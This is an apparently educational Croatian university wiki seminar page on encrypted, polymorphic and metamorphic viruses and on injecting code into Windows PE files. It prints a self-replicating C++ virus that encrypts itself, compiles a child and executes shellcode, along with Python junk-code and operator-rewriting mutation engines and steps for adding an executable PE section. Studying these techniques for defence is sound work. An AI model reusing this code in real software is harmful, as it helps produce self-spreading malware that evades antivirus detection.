Osamdesetih godina prošlog stoljeća, virus Cascade, namijenjen DOS operacijskom sustavu, bio je prvi virus koji je sadržavao enkriptirano tijelo i glavu za dekripciju. Ideja autora je bila da se u svakoj generaciji virusa tijelo virusa enkriptira sa različitim ključem (na ovaj način je problematično napraviti potpis virusa), a statični dio je bio kratki segment koji bi dekriptirao kod i pokrenuo ga. Pri širenju, virus bi svojem potomku zapisao novi kod (enkriptiran) te ključ s kojim će potomak dekriptirati svoj kod. Strogo gledano, ovakav malware bi bilo preciznije zvati "kodiran" a ne "enkriptiran", jer ključ za dekripciju mora biti zapisan u kodu (stoga je dekripcija u pravilu trivijalna jednom kad se virus otkrije i analizira).

Jednostavan primjer takvog virusa funkcionira na sljedeći način:

  1. Pronađi varijablu ključ i string "source kod"
  2. Dekriptiraj po ključu source kod iz enkriptiranog stringa "source kod"
  3. Generiraj novi ključ za dijete
  4. Enkriptiraj source kod s novim ključem i zapiši ga u dijete u string "source kod"
  5. Zapiši u dijete plaintekst verziju source koda
  6. Zapiši u dijete novi ključ (s kojim će ono dekriptirati svoj string)
  7. Kad je zadovoljen neki uvjet: pokreni payload
  8. Pokreni dijete virus
  9. Izbriši sebe

Sljedeći c++ kod prikazuje implementaciju jednostavnog enkriptiranog virusa čiji payload je Windows shellcode (u ovom primjeru je korišten shellcode koji na svim verzijama Windowsa otvori messagebox sa tekstom "foi!"):

// ključ za dekripciju, u prvoj iteraciji je nula, da bi kod bio čitljiv
unsigned int key=0;

// shellcode izvrsava asm komande; ovaj primjer otvara messagebox koji kaže "foi!"; ukupno 238 charova
char *shellcode = "\xfc\x33\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52  ... \\ ...  \x24\x40\xff\x54\x24\x40\x57\xff\xd0";

// slijedi sadržaj kompletnog programa:
// (u prvoj iteraciji algoritma gornji string je plaintext, u kasnijim generacijama je enkriptiran)
char *code = "typedef __SIZE_TYPE__ size_t;  ... \\ ...  shellcodechar[i] = (shellcode[i]^key) & 0x00FF; } ((void (*)())shellcodechar)(); return 0;}";

// pošto je cilj smanjiti program, nema includeova, ali onda bi nedostajalo sljedeće iz stdio.h:
typedef __SIZE_TYPE__ size_t; // definicije potrebne za char i time
typedef __WCHAR_TYPE__ wchar_t;

typedef struct _iobuf{ // struct FILE
   char* _ptr; 
   int _cnt; 
   char* _base; 
   int _flag; 
   int _file; 
   int _charbuf; 
   int _bufsiz; 
   char* _tmpfname;
}FILE; 
// stdio.h kraj

char* cryptchar(char l, unsigned int key){ 
   // (de)kriptira char po char, kompletan *char array odjednom ide dosta buggovito
   // pretvara char u format \x00, gdje je 00 = hex vrijednost iz asciija
   char *fin;
   fin = (char*)malloc(5*sizeof(char));
   fin[0]='\\';
   fin[1]='x';
   
   int c1=(int)((l^key) & 0x00F0)/16; // /16 jer je prva znamenka u bazi hexa
   int c2=(int)((l^key) & 0x000F);
   if(c1<=9){
      fin[2]=(char)(48+c1);
   }else if(c1<=15){
      fin[2]=(char)(65-10+c1);
   }
   if(c2<=9){
      fin[3]=(char)(48+c2);
   }else if(c1<=15){
      fin[3]=(char)(65-10+c2);
   }
   fin[4]='\0';
   return fin;
}

int main(){
   int i;
   FILE *pfile;
   srand(time(((void *)0))); // ((void*)0) = NULL

   // template za filename; .c ako će se kompajlirati, .exe ako će se izravno kreirati binary
   char filename[12] = {'1','2','3','4','5','6','7','8','.','c','\0'};

   // randomizira filename u nesto tipa AB12CD3E
   for(i=0;i<8;i++) filename[i] = mod(rand(),3)?(char)(65+mod(rand(),26)):(char)(48+mod(rand(),10));
   
   // mora se prosljedjivati const char u fopen
   const char *fname = filename;

   pfile = (FILE*)fopen(fname, "w");

   // sljedećem bloku koda zapisuje u datoteku novi ključ i novi enkriptirani kod
   fprintf(pfile, "unsigned int key=");
   int nkey = mod(rand(),100);
   printf("Novi kljuc: %d\n", nkey);
   char nks[3];
   nks[0]=(char)(48+nkey/10);
   nks[1]=(char)(48+mod(nkey,10));
   nks[2]='\0';
   fprintf(pfile, nks);
   fprintf(pfile, ";\nchar *shellcode=\"");
   for(i=0;i<238;i++){
      fprintf(pfile, cryptchar(shellcode[i],key^nkey));
   }
   fprintf(pfile, "\";\nchar *code=\"");
   for(i=0;i<1768;i++){
      fprintf(pfile, cryptchar(code[i],key^nkey));
   }
   fprintf(pfile, "\";\n");
   char *decode;
   decode=(char*)malloc(1768*sizeof(char));
   for(i=0;i<1768;i++){
      decode[i] = (char)((code[i]^key) & 0x00FF);
   }
   fprintf(pfile, decode);
   fclose(pfile);
   // kraj zapisivanja

   // poziva se kompajler; tcc.exe konkretno ima 132 kb stoga ga je dovoljno praktično slati sa virusom
   char comm[19] = "tcc.exe 12345678.c\0";
   for(i=8;i<16;i++){
      comm[i]=filename[i-8];
   }
   const char *compile = comm;
   system(compile);

   // petlja dekodira bez obrade za output (za razliku od funkcije cryptchar)
   char shellcodechar[238];
   for(i=0;i<238;i++){
      shellcodechar[i] = (shellcode[i]^key) & 0x00FF;
   }

   // executa string, tj. pokrece shellcode
   ((void (*)())shellcodechar)();
   return 0;
}

Repliciranje se u gornjem primjeru izvodi na način da virus u dijete prvo zapiše svoj kod kao vrijednost stringa, a potom isti kod zapiše u dijete kao instrukcije za izvođenje. Virus može direktno zapisivati sadržaj djeteta u binarni file kojeg će pokrenuti kao executable, ili zapisivati u obliku source koda te ga potom kompajlirati (kao u ovom primjeru, gdje se koristi kompajler od 130 kB).

Ukoliko se koristi kompajler, to se može izvesti na nekoliko načina:

Problem detektiranja ovakvih virusa proizlazi iz činjenice da je samo malen dio koda statičan (dekriptor virusa), ali ako je tijelo virusa fiksne duljine ili je dekriptor dovoljno specifičan, detekcija putem potpisa je ipak moguća. Kod se može dodatno zakomplicirati, npr. pozicija dekriptora se može konstantno mijenjati itd., ali i ovo je moguće otkriti heurističkim tehnikama antivirusnih aplikacija. Pogotovo ukoliko se radi o jednostavnoj enkripciji (xor enkripcija), antivirusni program može sam dekriptirati tijelo (makar brute-force napadom).

Polimorfizam

Prikaz polimorfičnog virusa kroz četiri generacije. Glava virusa (dekripter) se mijenja u svakoj generaciji (iako je neizbježno da ostanu neki dijelovi koji su isti). Tijelo se enkriptirati kao i ranije.
Polimorfizam koda (i njegova primitivnija varijanta, oligomorfizam) je svojstvo malwarea koje pokušava mutiranjem virusa eliminirati većinu problema na koje su nailazili enkriptirani virusi. Prvi polimorfični virus, 1260 iz 1980. godine, bio je zapravo poboljšana verzija starijeg virusa Vienna, kojemu je u dekriptor dodano svojstvo randomizacije i obfuskacije. Na ovaj način, virus naizgled nije imao nikakvih statičkih dijelova jer se i enkripter (glava) sintaktički mijenja u svakoj iteraciji virusa.

Sljedeći python kod je jednostavan proof of concept polimorfični engine, čiji je cilj obfuscirati enkripter nekog virusa:

from random import randint

def junk_op(var1,var2,typ):
    p = randint(0,4)
    if typ=="float":
        ops = ["+","-","*","/"]
    else:
        ops = ["+","-","*","/","^","&","|"]
    comp = [">","<","=="]
    if p==0: return var2 + "=" + var1 + ops[randint(0,len(ops)-1)] + str(randint(0,1000))
    elif p==1: return var2 + "=" + var1 + ops[randint(0,len(ops)-1)] + str(randint(0,1000)) + ops[randint(0,len(ops)-1)] + str(randint(0,1000))
    elif p==2: return "if(" + var1 + comp[randint(0,len(comp)-1)] + str(randint(-1000,1000)) + "){ " + var1 + ops[randint(0,len(ops)-1)] + "=" + str(randint(-1000,1000)) + "; }"
    elif p==3: return "while(" + var1 + ">" + str(randint(-1000,1000)) + "){ " + var1 + "-=" + str(randint(1,500)) + "; }"
    elif p==4: return "while(" + var1 + "<" + str(randint(-1000,1000)) + "){ " + var1 + "+=" + str(randint(1,500)) + "; }"

def junk(init):
    types = ["int","long int","float","char","char*"]
    name1 = "".join([chr(65+randint(0,25)) for i in range(0,randint(3,6))]+[str(init%50)])
    name2 = "".join([chr(65+randint(0,25)) for i in range(0,randint(3,6))]+[str(randint(10,20)+init%50)])
    tp = types[randint(0,len(types)-1)]
    to = randint(0,4)
    if tp!="char*":
        if tp=="int" or tp=="long int":
            val1 = str(randint(0,1000))
        elif tp=="float":
            val1 = str(randint(0,1000)) + "." + str(randint(0,1000))
        elif tp=="char":
            val1 = "'" + chr(65+randint(0,25)) + "'"
        junk = "\n   " + tp + " " + name1 + "=" + val1 + ";" + "\n   " + tp + " " + name2 + ";\n   " + junk_op(name1,name2,tp) + ";"
    elif tp=="char*":
        val1 = "\"" + "".join(["\\"+hex(randint(1,255))[1:] for i in range(0,randint(5,20))]) + "\""
        junk = "\n   " + tp + " " + name1 + "=" + val1 + ";"
    return "".join(junk)

def mutate(string):
    for i in range(len(string)-1,0,-1):
        if string[i]=='\n' and randint(0,1):
            j = junk(i)
            string = string[0:i] + j + string[i:len(string)]
    return string

U ovom primjeru, nasumično se dodaju operacije nad varijablama, selekcije i petlje. Ukoliko nepotreban kod ("junk") čini velik udio ukupnog koda, različite generacije koda će izgledati značajno različito.

Primjerice, ukoliko se uzme skraćeni dio koda iz gornjeg primjera enkriptiranog virusa:

char* cryptchar(char l, unsigned int key){
   char *fin;
   fin = (char*)malloc(5*sizeof(char));
   int c1=(int)((l^key) & 0x00F0)/16;
   int c2=(int)((l^key) & 0x000F);
   if(c1<=9){
      fin[2]=(char)(48+c1);
   }else if(c1<=15){
      fin[2]=(char)(65-10+c1);
   }
   return fin;
   }

Polimorfični obfuskator može kreirati ovakav kod, koji je zapravo istovjetan:

char* cryptchar(char l, unsigned int key){
   char *fin;
   fin = (char*)malloc(5*sizeof(char));
   int c1=(int)((l^key) & 0x00F0)/16;
   int c2=(int)((l^key) & 0x000F);
   if(c1<=9){
   int ZNLQYL33=440;
   int VFUAB45;
   VFUAB45=ZNLQYL33/405*395;
      fin[2]=(char)(48+c1);
   char OMP11='Y';
   char WHN29;
   if(OMP11<722){ OMP11/=195; };
   }else if(c1<=15){
      fin[2]=(char)(65-10+c1);
   }
   char IIHE18='B';
   char QVE37;
   while(IIHE18>89){ IIHE18-=45; };
   return fin;
   }

Da se količina nepotrebnog koda ne bi akumulirala u svakoj sljedećoj generaciji virusa, postoji nekoliko opcija:

Metamorfizam

Metamorfizam koda je svojstvo malwarea koje pokušava zaštiti kod doslovnom zamjenom koda. Za razliku od polimorfičnog malwarea, metamorfični program se ne mora enkriptirati, već se program mijenja nasumičnom zamjenom ekvivalentnih postupaka (funkcija). Primjerice, sljedeći blok c++ koda:
int a = 5;
int b;
b = a * 3; // b iznosi 15
je semantički istovjetan sljedećem kodu, premda su sintaktički potpuno različiti:
float a = 2.0 * 2 + 1.0;
int b = 100;
b = a + a + a; // b iznosi 15
Prikaz metamorfičnog virusa kroz četiri generacije. Ako je dovoljno kompleksan virus, roditelj i dijete neće imati nikakvih zajedničkih dijelova. Ovdje više uopće nije potrebna enkripcija jer se kod mijenjanja iz generacije u generaciju kao da ga u svakoj iteraciji ponovno izrađuje drugi programer.

Nadalje, za razliku od polimorfičnog virusa koji u nekom trenutku mora biti dekriptiran, metamorfični virus ne zna kako je izgledao kod njegovog roditelja i koje je mutacije nasljedio. Metamorfični virus može mijenjati svoje instrukcije, vrijednosti operacija, redosljed izvođenja instrukcija (pomicati instrukcije i potom osigurati tok pomoću jumpova te razmješavati nezavisne dijelove koda) te mijenjati point of entry exe datoteke, tako da se teže prati tok. Zbog toga je čak i nakon ručne analize virusa problematično odrediti konkretnu karakterizaciju.


Slijede python snippeti koji mogu biti dio jednog metamorfičkog enginea:

Rastavlja brojeve na nasumične aritmetičke operacije koje daju isti rezultat:

import re
def rastavi(string):
    exp = re.compile('[0-9]{1,}[\.]?[0-9]*')
    rng = exp.search(string)
    ops = [" + "," - "," ^ "," * "," / "]  # operator ^ označava bitovni xor a ne potenciranje
    opinv = [" - "," + "," ^ "," / "," * "]  
    if rng:
        rng = rng.span()
        nr0 = string[rng[0]:rng[1]]
        nr1 = str(randint(2,100))
        r = randint(0,len(ops)-1)
        op = ops[r]
        if op==" / " and nr0=="0": r = randint(0,len(ops)-2) # da se izbjegne dijeljenje s nulom
        if op==" * " and (int(nr1) > int(nr0)): r = randint(0,len(ops)-3) # izbjegavati mnozenje ako je rezultat manji od operanda
        op = ops[r]      
        opi = opinv[r]
        nr2 = str(eval(nr0 + opi + nr1))
        if int(nr2)<0: nr2 = "(" + nr2 + ")"
        newstr = "(" + nr2 + op + nr1 + ")"
        string = string[0:rng[0]] + newstr + rastavi(string[rng[1]:])
    return string

Sljedeća funkcija radi operaciju obrnuto od prijašnjeg koda (sastavlja jednostavne operacije na složene).

import re
def sastavi(string):
    exp = re.compile('\([ \-\.\+\*\/0-9]*\)')
    rng = exp.search(string)
    if rng:
        rng = rng.span()
        calc = eval(string[rng[0]:rng[1]])
        evalstr = str(calc)
        string = sastavi(string[0:rng[0]] + evalstr + string[rng[1]:])
    return string

Kombinacijom gornjih dvaju funkcija može se nasumično dobiti zamjena operatora u nekom izrazu. Na sličan način se može konstruirati i kompliciranija zamjena operatora, npr.:

Jedan od prvih metamorfičnih virusa, Regswap iz 1998. godine, koristio je jednostavan oblik metamorfizma na način da je virus u svakoj iteraciji mijenjao registre koje koristi. Isti segment assembly koda Regswap virusa izgleda drukčije u svakoj generaciji:

5A                       pop   edx
BF04000000               mov   edi,0004h
8BF5                     mov   esi,ebp
B80C000000               mov   eax,000Ch
81C288000000             add   edx,0088h
8B1A                     mov   ebx,[edx]
899C8618110000           mov   [esi+eax*4+00001118],ebx
58                       pop   eax              <-- registar edx (data register) zamijenjen sa eax (accumulation register)
BB04000000               mov   ebx,0004h        <-- registar edi (destination index) zamijenjen sa ebx (base register)
8BD5                     mov   edx,ebp          <-- registar esi (source index) zamijenjen sa edx
BF0C000000               mov   edi,000Ch        <-- registar eax zamijenjen sa edi
81C088000000             add   eax,0088h       
8B30                     mov   esi,[eax]        <-- registar ebx zamijenjen sa esi
89B4BA18110000           mov   [edx+edi*4+00001118],esi

Granica između metamorfičnog i polimorfičnog malwarea se gubi kada metamorfični engine počinje dodavati nepotrebne instrukcije u svoj kod (po uzoru na primjer od ranije). Ključna razlika u ovom slučaju je što metamorfični malware mutira cijeli svoj sadržaj, za razliku od polimorfičnog (koji mutira samo glavu programa te se u jednom trenutku mora cijeli dekriptirati). Poznati virus Zperm iz 2000. godine bio je potpuno otporan na jednostavno pretraživanje sadržaja koda jer na ovakav način mutirao svoj sadržaj: virus je pri izgradnji dijeteta dodavao nasumične jump instrukcije u kod, pazeći pritom da se održava semantika koda, te bi potom dodavao nepotrebne instrukcije između jumpova. Čak i bez dodavanja nepotrebnih instrukcija, bitnim instrukcijama se u svakoj iteraciji mijenja redosljed, zbog čega se Zperm nije mogao detektirati korištenjem potpisa, već se moralo oslanjati na heurističke pristupe.

Najkompleksniji metamorfični virus bio je Zmist iz 2000. godine, ruskog autora Zombie. Zmist je metamorfični virus koji po potrebi nasumično koristi polimorfičnu enkripciju. Inficira windows PE binaryje, koje prvo dekompajlira, te potom nasumično ubacuje vlastite instrukcije između instrukcija host programa, pazeći pritom da ne poremeti tijek originalnog programa. Detekcija ovakvog virusa moguća je jedino ugradnjom kompleksnih algoritama u antivirusni program.

--Krešimir Ivković 20:13, 5. siječnja 2012. (CET)

Code injection

Code injection predstavlja iskorištavanje komponenti aplikacije na način koji nije predviđen. Time se želi u aplikaciju ubaciti kod kojeg će ta aplikacija izvršiti kao da je dio njezinog koda. Od poznatijih code injection su:

Portable Executable Code Injection

Za razliku od code injection koji iskorištava polje za unos teksta kako bi ubacio kod, ovdje želimo ubaciti kod prije pokretanja aplikacije. Portable executable, u daljnjem tekstu PE, je tip datoteke za izvršne datoteke (.exe), dinamičke biblioteke(.dll) I slične tipove datoteka koji se koristi unutar Windows operacijskog sustava. One se mogu pokretati neovisno o arhitekturi na kojoj se nalazi OS.

Format PE

PE Specifikacija [8]

Ukratko PE datoteka se sastoji od:

Iz PE zagljavlja potrebno je znati čemu služe sljedeći atributi:

Potom je potrebno znati ove atribute zaglavlje sekcije:

Treba napomenuti da operacijski sustav PE datoteku koristi kao opisnik kako će aplikacija u radnoj memoriji izgledati. To osigurana jednu dozu sigurnosti prilikom izvršavanja same aplikacije.  Zbog toga aplikacija prilikom izvođena zauzima više memorije nego što je potrebno za samu PE datoteku te aplikacije.Kompletna specifikacija PE formata nalazi se ovdje. Aplikacija s kojom se mogu pročitati zaglavlja neke aplikacije se nalazi ovdje

Ubacivanje koda

Ima različitih načina za ubacivanje koda u PE datoteku. Jedan od jednostavnijih načina je u slučaju ako želimo ubaciti mali kod. Tada nam je ideja da svoj kod ubacimo pri kraju sekcije “.text” gdje se nalazi prazan prostor (nule). Potom je potrebno preusmjeriti  tok izvođenja aplikacije prema našem kodu. Nakon što se izvede naš kod, potrebno je ponovno vratiti tok izvođenja na orginalno mjesto. Problem je kod ovakvog načina ubacivanja koda  što većina antivirusnih programa prepozna ovakan način ubacivanja koda.

Sljedeći način je da za kod koji želimo ubaciti kreiramo njegovu vlastitu sekciju. Na takav je način dodati bilo koji kod koji će se moći bez problem izvršavati. Za početak potrebno je promjeniti vrijednost atributa NumberofSection za jedan više što će govoriti operacijskom sustavu da PE datoteka ima sekciju više.  Potom je potrebno privremeno zapamtiti vrijednost atributa AddressOfEntryPoint kako bi znali preusmjeriti program nakon što se naš kod izvrši.  Za naš kod treba napraviti zaglavlje za sekciju koju ćemo smjestiti na kraj liste I samu sekciju koju ćemo staviti na kraj PE datoteke.  Ime sekcije može biti proizvoljno. SizeOfRawData I PointerToRawData moramo uskladiti sa našom sekcijom tako da bude prema specifikaciji . Characteristics mora imati vrijednost 0xE0000040 što označava da sekcija ima inicijalizirane podatke, sadržaj unutar sekcije se može izvršavati, čitati,te se u sekciju može zapisivati. Također treba paziti, ukoliko je došlo do pomaka prilikom ubacivanja zaglavlja, da li su u redu ostale sekcije I njihova zaglavlja. U tom slučaju potrebno je ažurirati adrese unutar zaglavlja sekcija.  Na kraju ubačenog  koda potrebno preusmjeriti tok izvođenja na mjesto koje je pokazivao atribut AddressOfEntryPoint, t e taj atribut ažurirati tako da se prvo izvršava ubačeni kod. 

Zaštita

Jednostavna zaštita protiv ubacivanja koda je sustav digitalnog potpisa.  Pri tome je potrebno prilikom svakog pokretanja aplikacije verificirati PE datoteku čime bi se spriječilo pokretanje aplikacije čiji je kod izmjenjen. 

--Juraj Rasonja 01:49, 7. siječnja 2012. (CET)

Literatura

Szor, Peter: The Art of Computer Virus Research and Defense, AWP 2005.

http://edwardsnyder.com/principles-of-computer-surveil

http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&doc=GetTRDoc.pdf&AD=ADA519999

http://sce.uhcl.edu/yang/research/A%20Comparitive%20Analysis%20of%20Rootkit%20Detection%20Techniques.pdf

http://www.neowin.net/news/avast-windows-xp-makes-up-74-of-rootkit-infections

http://en.wikipedia.org/wiki/Ring_(computer_security)

http://en.wikipedia.org/wiki/System_call

http://fluxius.handgrep.se/2011/01/02/ring-0f-fire-rootkits-and-dkom/

http://computer.forensikblog.de/en/2007/01/eprocess_6_0_6000_16386.html

http://www.osronline.com/showThread.cfm?link=35916

http://msdn.microsoft.com/en-us/library/windows/desktop/ms681951(v=vs.85).aspx

http://msdn.microsoft.com/en-us/library/windows/desktop/aa363219(v=vs.85).aspx

http://en.wikipedia.org/wiki/Polymorphism_(computer_science)

http://en.wikipedia.org/wiki/Metamorphic_code

http://www.ma.rhul.ac.uk/static/techrep/2008/RHUL-MA-2008-02.pdf

http://www.symantec.com/avcenter/reference/striking.similarities.pdf

http://www.codeproject.com/KB/winsdk/CodeInject.aspx

http://flylib.com/books/en/4.460.1.17/1/

http://www.ntcore.com/files/inject2exe.htm#TheSectionHeadersandSections2_3

http://msdn.microsoft.com/en-us/library/ms680198(v=VS.85).aspx

Članovi tima

Prijavljujem tim:--Frane Jakelić 21:11, 25. rujna 2011. (CEST); --Juraj Rasonja 21:12, 25. rujna 2011. (CEST);--Krešimir Ivković 21:18, 25. rujna 2011. (CEST);--Ozren Tepuric 21:20, 25. rujna 2011. (CEST)

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima